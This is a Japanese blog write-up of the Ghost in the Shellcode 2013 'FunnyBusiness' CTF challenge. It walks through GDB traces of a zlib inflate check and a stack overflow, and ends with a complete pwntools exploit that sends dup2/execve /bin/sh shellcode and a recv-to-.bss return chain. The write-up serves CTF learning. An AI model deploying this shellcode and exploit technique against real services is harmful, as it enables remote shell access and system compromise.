読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

Ghost in the Shellcode 2013 FunnyBusiness

pwn list pwn list baby

32bit-ELFのfork-server型問題で、脆弱性を見つけて攻撃をするんだが今回の場合は使用しているライブラリの動きを知ってうえで攻撃を行うような問題であり、面白かった。ライブラリ自身の脆弱性を見つけるわけではないが、ライブラリの使い方を分かっていなければ解くことができないような問題であったため、なかなか楽しめた問題だった。
さっそく実行して見たが、OSのuserにfunnybusinessが必要で、さらにgetpwnamを使っているためrootで実行する必要がある。
ユーザー側に何も表示されるわけでもなけではなかったため、仕方ないのでデバッグしながら動きを確かめることにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : ENABLED
NX        : disabled
PIE       : disabled
RELRO     : Partial

shellcodeを実行するような形に持っていくような攻撃方法がよさそう。
とりあえず、GDBデバッグしてユーザーが入力した後の動きに着目したら、以下のような気になった部分があったため、まとめてみる。

  • 最初のrecvでsizeを決定する。

  • 次のrecvでsize分の文字列を送る。

  • 最後にinflateという関数を実行する。

  • inflate関数の戻り値が1であるときに正常終了(returnアドレスにいく)、それ以外はexit inflate関数とはなんだろう?と思って調べてみたら、どうやら、圧縮するような関数である。inflateInit() でどのような圧縮をするのかなどの初期設定をしたあとで、inflate関数で圧縮を実行する。inflateEndは正常終了の時にしかしていない。exitする時にはしていない。(メモリを確保する関係からしないといけないと思うけど…)とりあえず入力してから考えてみよう!

 [----------------------------------registers-----------------------------------]
EAX: 0xfffffffd 
EBX: 0x0 
ECX: 0x1 
EDX: 0x0 
ESI: 0x4 
EDI: 0xffffd68f ("AAAAAA\252\260\004\b1\300\061\333\061ɱ\003\376ɰ?\263\004̀u\366\061\300Ph//shh/bin\211\343\211\301\211°\v̀1\300@̀\b\211\216\004\b")
EBP: 0xffffd6d8 --> 0x0 
ESP: 0xffffd670 --> 0x804f0a0 --> 0xffffd691 ("AAAA")
EIP: 0x8048e59 (jne    0x8048e6c)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e4a:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e51:   call   0x8048660 <inflate@plt>
   0x8048e56:   cmp    eax,0x1
=> 0x8048e59:   jne    0x8048e6c
 | 0x8048e5b:  mov    DWORD PTR [esp],0x804f0a0
 | 0x8048e62:  call   0x8048710 <inflateEnd@plt>
 | 0x8048e67:  jmp    0x8048dd7
 | 0x8048e6c:  mov    DWORD PTR [esp],0x0
 |->   0x8048e6c:   mov    DWORD PTR [esp],0x0
       0x8048e73:   call   0x8048700 <exit@plt>
       0x8048e78:   nop
       0x8048e79:   nop   

適当に文字を入力して実行してみたが、どうやら戻り値が1以外になって強制終了するようになっている。どうやったら1になるのだろうか?
どうやら、成功したときにはZ_OKをかえすようになっているらしい。しかし、正確な数字がわからなかった。・・・うーん、つまり圧縮には成功していないということだろうか?
よくわからなかったので、write upを見た。すると攻撃コードを送る前に圧縮を行っていた。えぇ・・・(困惑)
とりあえず圧縮して送ってみることにする。すると・・・

 [----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x0 
ECX: 0x1 
EDX: 0x0 
ESI: 0x4 
EDI: 0xffffd68f --> 0xc010178 
EBP: 0xffffd6d8 --> 0x0 
ESP: 0xffffd670 --> 0x804f0a0 --> 0xffffd6a6 --> 0x0 
EIP: 0x8048e56 (cmp    eax,0x1)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e42:   mov    DWORD PTR [esp+0x4],0x4
   0x8048e4a:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e51:   call   0x8048660 <inflate@plt>
=> 0x8048e56:   cmp    eax,0x1
   0x8048e59:   jne    0x8048e6c
   0x8048e5b:   mov    DWORD PTR [esp],0x804f0a0
   0x8048e62:   call   0x8048710 <inflateEnd@plt>
   0x8048e67:   jmp    0x8048dd7

飛ばないのか(困惑)とりあえず、そのあとの処理を見てみると正常終了につながっていた。returnする前に面白いものを見つけた。

[-------------------------------------code-------------------------------------]
   0x8048dd3:   mov    ebx,eax
   0x8048dd5:   je     0x8048df0
   0x8048dd7:   mov    eax,ebx
=> 0x8048dd9:   mov    esi,DWORD PTR [esp+0x24]
   0x8048ddd:   mov    ebx,DWORD PTR [esp+0x20]
   0x8048de1:   mov    edi,DWORD PTR [esp+0x28]
   0x8048de5:   add    esp,0x2c
   0x8048de8:   ret
[------------------------------------stack-------------------------------------]
0000| 0xffffd670 --> 0x804f0a0 --> 0xffffd6a6 --> 0x0 
0004| 0xffffd674 --> 0x4 
0008| 0xffffd678 --> 0x17 
0012| 0xffffd67c --> 0x0 
0016| 0xffffd680 --> 0xffffd6d8 --> 0x0 
0020| 0xffffd684 --> 0xf7ff04c0 (pop    edx)
0024| 0xffffd688 --> 0x3e9 
0028| 0xffffd68c --> 0x78ffd6d8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048dd9 in ?? ()
gdb-peda$ x/20wx $esp+0x24
0xffffd694:    0x4141fff3 0x42424141 0x43434242 0x08144343

どうやらreturnする前にレジスタにユーザーが入力した値の一部を移動させるらしい。このとき、addでstackの中身を消すときにユーザーが入力した値の先頭から数えて7番目からreturnアドレスになることが分かった。ここをshellcodeのアドレスにして、あげればshellを起動させることができる。
しかし、肝心のshellcodeのアドレスはどこに置けばいいのだろう?今回はPIEが無効になっているため、.bssセクションにrecvでshellcodeを格納してrecvのreturnをbssセクションにしてshellcodeを実行させよう。
コードべちょー

import zlib
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./funnybusiness')
host = 'localhost'
port = 49681

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve shellcode
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

recv_addr = elf.plt['recv']
bss_addr = 0x804b080
recv = p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)

c = remote(host, port)
payload = ''
payload += 'AAAAAA'         # padding
payload += recv
compress_payload = zlib.compress(payload, 0)

c.send(p32(len(compress_payload)))
c.send(compress_payload)

c.send(shellcode)
c.interactive()

payloadを送る時にpaddingを6個入れてから7番目からreturnアドレスになるように調整しよう。そのあとで、payloadを圧縮してから送ってあげよう
【総評】圧縮してるのかしてないのかよくわかんない(困惑)